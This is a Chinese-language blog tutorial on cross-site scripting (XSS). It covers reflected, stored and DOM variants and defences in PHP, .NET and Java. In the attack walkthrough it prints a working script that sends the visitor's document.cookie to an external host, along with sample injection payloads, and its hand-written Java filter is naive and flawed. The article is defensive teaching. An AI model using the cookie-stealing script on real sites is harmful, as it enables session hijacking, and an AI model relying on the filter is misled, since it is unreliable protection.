Web安全之XSS跨站脚本攻击

本文主要选择常见web攻击手段之一的XSS(跨站点脚本攻击)来进行讲解,说明其攻击原理,并提出相应的解决办法。


XSS

XSS 攻击,全称是“跨站点脚本攻击”(Cross Site Scripting),之所以缩写为 XSS,主要是为了和“层叠样式表”(Cascading Style Sheets,CSS)区别开,以免混淆。

XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其他用户使用的页面中。XSS是针对Web站点的客户隐私的攻击,当客户详细信息失窃或受控时可能引发彻底的安全威胁。大部分网站攻击只涉及两个群体:黑客和 Web 站点,或者黑客和客户端受害者。与那些攻击不同的是,XSS 攻击同时涉及三个群体:黑客、客户端和 Web 站点。XSS 攻击的目的是盗走客户端 cookies,或者任何可以用于在 Web 站点确定客户身份的其他敏感信息。手边有了合法用户的标记,黑客可以继续扮演用户与站点交互,从而冒充用户。

举例来说,可以利用 XSS 攻击窥视用户的信用卡号码和私有信息。通过利用 Web 站点的访问特权,在受害者(客户端)浏览器上运行恶意的JavaScript代码来实现。这些是非常有限的JavaScript特权,除了与站点相关的信息,一般不允许脚本访问其他任何内容。重点强调的是,虽然 Web 站点上存在安全漏洞,但是 Web 站点从未受到直接伤害。但是这已经足够让脚本收集 cookies,并且将它们发送给黑客。

跨站脚本攻击有两种攻击形式:

1. 反射型跨站脚本攻击

攻击者会通过社会工程学手段,发送一个URL连接给用户打开,在用户打开页面的同时,浏览器会执行页面中嵌入的恶意脚本。

2. 存储型跨站脚本攻击

攻击者利用web应用程序提供的录入或修改数据功能,将数据存储到服务器或用户cookie中,当其他用户浏览展示该数据的页面时,浏览器会执行页面中嵌入的恶意脚本。所有浏览者都会受到攻击。

3. DOM跨站攻击

由于html页面中,定义了一段JS,根据用户的输入,显示一段html代码,攻击者可以在输入时,插入一段恶意脚本,最终展示时,会执行恶意脚本。

DOM跨站和以上两个跨站攻击的差别是,DOM跨站是纯页面脚本的输出,只有规范使用javascript,才可以防御。


原理

读到这里,相信大家对XSS的概率已经有了一定的理解,下面我们通过举例来说说攻击的原理。

如果下面是我们网站的一段PHP代码:

<tr>
<td><?=$row["id"] ?></td>
<td><?=$row["pname"]?></td>
<td><?=$row["pdesc"]?></td>
<td><?=$row["ptype"]?></td>
</tr>

那么攻击者可以在添加产品时插入恶意脚本:

攻击者发布产品后,等待用户浏览产品列表页面,用户浏览页面如下:

就会执行攻击者写的inbreak.net/a.js恶意脚本。脚本内容如下:

a=document.createElement("iframe");
function b(){e=escape(document.cookie);
c=["http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie=",e,Math.random()];
document.body.appendChild(a);a.src=c.join();}
setTimeout(‘b()‘,5000);

其功能是获取当前浏览者的cookie,并发送到a.php,用户的cookie已经就会到攻击者的服务器上。攻击者利用浏览器插件,将自己的cookie替换成刚刚获取的用户的cookie,就可以狸猫换太子的冒充用户了。


防御

原理说清楚了,再来谈谈如何防御吧。

最基本的防御就是对用户的输入进行转义,例如

<script type=‘text/javascript‘>alert(‘hello world‘)</script>

如果直接保存这个字符串的话,然后再输出的话,就会运行JS了。

我们需要将这个字符串转义成

"&lt;script type=‘text/javascript‘&gt;alert(‘hello world‘)&lt;/script&gt;"

有些语言自带的就有一些函数来实现转义的功能。

比如php中,提供了 htmlspecialchars() 函数可以将HTML 特殊字符转化成在网页上显示的字符实体编码。这样即使用户输入了各种HTML 标记,在读回到浏览器时,会直接显示这些HTML 标记,而不是解释执行。

这里举一个例子:

<b> 欢迎:<?= $welcome_msg?></b>

攻击者输入:

<script>evil_script()</script>

结果为:

<b>欢迎:<script>evil_script()</script></b>

分析可以得知,在HTML 正文背景下,< > 字符会引入HTML 标记,& 可能会认为字符实体编码的开始,所以需要将< > & 转义。为简洁起见,直接使用 htmlspecialchars() 将5 种HTML 特殊字符转义,如:

<b>欢迎:<?= htmlspecialchars($welcome_msg, ENT_NOQUOTES)?></b>

其中ENT_NOQUOTES的意思是不对单引号和双引号进行编码。

而其他语言,比如.net,则有微软提供的类库AntiXSS,它的实现原理是白名单机制。使用起来也很简单,就是通过AntiXss.GetSafeHtmlFragment(html)方法,来替换掉html里的危险字符。代码如下:

    var html = "<a href=\"#\" onclick=\"alert();\">aaaaaaaaa</a>javascript<P><IMG SRC=javascript:alert(‘XSS‘)><javascript>alert(‘a‘)</javascript><IMG src=\"abc.jpg\"><IMG><P>Test</P>";

string safeHtml = AntiXss.GetSafeHtmlFragment(html);
Console.WriteLine(safeHtml);

上面的危险内容会被成功替换为:

<a href="">aaaaaaaaa</a>javascript
<p><img src="">alert(‘a‘)<img src="abc.jpg"><img></p>
<p>Test</p>

同样的,在java中,也可以通过引入第三方的jar包,来避免XSS攻击,比如commons-lang-2.5.jar。

即使不使用自带的方法或者第三方库,我们还可以通过自己编写方法来实现转义。

    private String cleanXSS(String value) {
        value = value.replaceAll("<", "& lt;").replaceAll(">", "& gt;");
        value = value.replaceAll("\\(", "& #40;").replaceAll("\\)", "& #41;");
        value = value.replaceAll("‘", "& #39;");
        value = value.replaceAll("eval\\((.*)\\)", "");
        value = value.replaceAll("[\\\"\\\‘][\\s]*javascript:(.*)[\\\"\\\‘]", "\"\"");
        value = value.replaceAll("script", "");
        return value;
    }

这种自定义函数过滤器的方法,不仅仅防御XSS攻击,还可以防御CSRF攻击和SQL注入等安全问题。

版权声明:本文为博主原创文章,未经博主允许不得转载。

时间: 2024-10-06 08:58:26

Web安全之XSS跨站脚本攻击的相关文章

JAVA覆写Request过滤XSS跨站脚本攻击

注:本文非本人原著. demo的地址:链接:http://pan.baidu.com/s/1miEmHMo 密码:k5ca 如何过滤Xss跨站脚本攻击,我想,Xss跨站脚本攻击令人为之头疼.为什么呢. 尤其是有富文本编辑器的产品.xss可能出现在http的head,不说别的,新浪多次出现. xss可以出现在post数据的正文.图片的url. 于是各种Xss横行,如今Xss跨站脚本漏洞的流行程度甚至超过了当年的sql. 那么对于JAVA语言,如何防御呢. 笔者分享一个思路:所有的web项目,所有的

python全栈系列之---xss跨站脚本攻击和csrf(xsrf)攻击

xss跨站脚本攻击:恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的. 例如:某些论坛允许用户自由发言,而不对用户的输入数据进行检测,直接显示在页面中. 若是用户输入了某些css样式代码,html表格代码,显示在页面后会改变页面的布局. 若是输入某些js代码,用于获取其他用户的文件,或者修改本地文件,也可以发送用户cookie等信息到自己的计算机中模拟用户登录 一般可以通过函数处理htmlspecial

Fortify漏洞之Cross-Site Scripting(XSS 跨站脚本攻击)

书接上文,继续对Fortify漏洞进行总结,本篇主要针对XSS跨站脚步攻击漏洞进行总结如下: 1.Cross-Site Scripting(XSS 跨站脚本攻击) 1.1.产生原因: 1. 数据通过一个不可信赖的数据源进入 Web 应用程序.对于 Reflected XSS(反射型),不可信赖的源通常为 Web 请求,只影响攻击到当前操作用户:而对于 Persisted(也称为 Stored 持久型)XSS,该源通常为数据库或其他后端数据存储,可能影响多操作用户. 2. 未检验包含在动态内容中的

XSS跨站脚本攻击实验

XSS攻击的原理.方法.常用技巧, 相关防范措施 跨站脚本攻击(Cross Site Scripting,XSS) 漏洞在Web应用中很常见.攻击者可以通过XSS注入恶意代码(一般指为js程序)至受害者的浏览器,进而窃取受害者认证信息. XSS注入有很多实现方式,可将XSS攻击大致分为存储型XSS.反射型XSS和DOM型XSS. 1)存储型XSS 存储型XSS攻击流程如下: (1) 黑客在目标服务器(正常服务器)上构造XSS恶意脚本,并将其保存在数据库中: (2) 用户登录目标服务器,查看了存在

XSS跨站脚本攻击

[XSS跨站脚本攻击] 1.在Get请求的值中插入代码. $name = $_GET['name']; echo "Welcome $name<br>"; 2.输入框中输入代码. 参考: 1.http://www.cnblogs.com/bangerlee/archive/2013/04/06/3002142.html

PHP漏洞全解(四)-xss跨站脚本攻击

本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站.攻击者利用跨站请求伪造能够轻松地强迫用户的浏览器发出非故意的HTTP请求,如诈骗性的电汇 请求.修改口令和下载非法的内容等请求. XSS(Cross Site Scripting),意为跨网站脚本攻击,为了和样式表css(Cascading Style Sheet)区别,缩写为XSS 跨站脚本主要

初窥XSS跨站脚本攻击

XSS跨站脚本攻击的分类 一. 反射型XSS跨站脚本攻击 二. 存储型XSS跨站脚本攻击 三. 基于DOM的XSS跨站脚本攻击 1.反射性XSS

[Web安全之实战] 跨站脚本攻击XSS

Writer:BYSocket(泥沙砖瓦浆木匠) 微博:BYSocket 豆瓣:BYSocket Reprint it anywhere u want. 文章Points:   1. 认识XSS 2. XSS攻击 3. XSS防御(重点) 一.认识XSS先 先说个故事吧,在上一篇,我还想说这个案例.其实什么叫攻击,很简单.获取攻击者想要的信息,就黑成功了.抓到一个Tomcat漏洞(这不是我说的,一个认识的人说的),上传一个JSP,里面模拟HttpClient,下载一个木马,运行.OK,搞定了.所

Web安全之防止XSS跨站脚本攻击

XSS攻击全称跨站脚本攻击(Cross-site scripting),为和CSS区别,改为XSS.XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意的web用户将代码植入到提供给其它用户使用的页面中.比如这些代码包括HTML代码和客户端脚本. XSS攻击的产生原因是对外部输入的参数没有做严格过滤,导致输入参数直接参与页面源代码,相当于页面源代码可以被外部修改,因此可能被改变页面结构.植入恶意脚本,可被用于钓鱼.盗取数据.篡改页面等.解决的方法是加强页面输出过滤或转义,如ESAPI的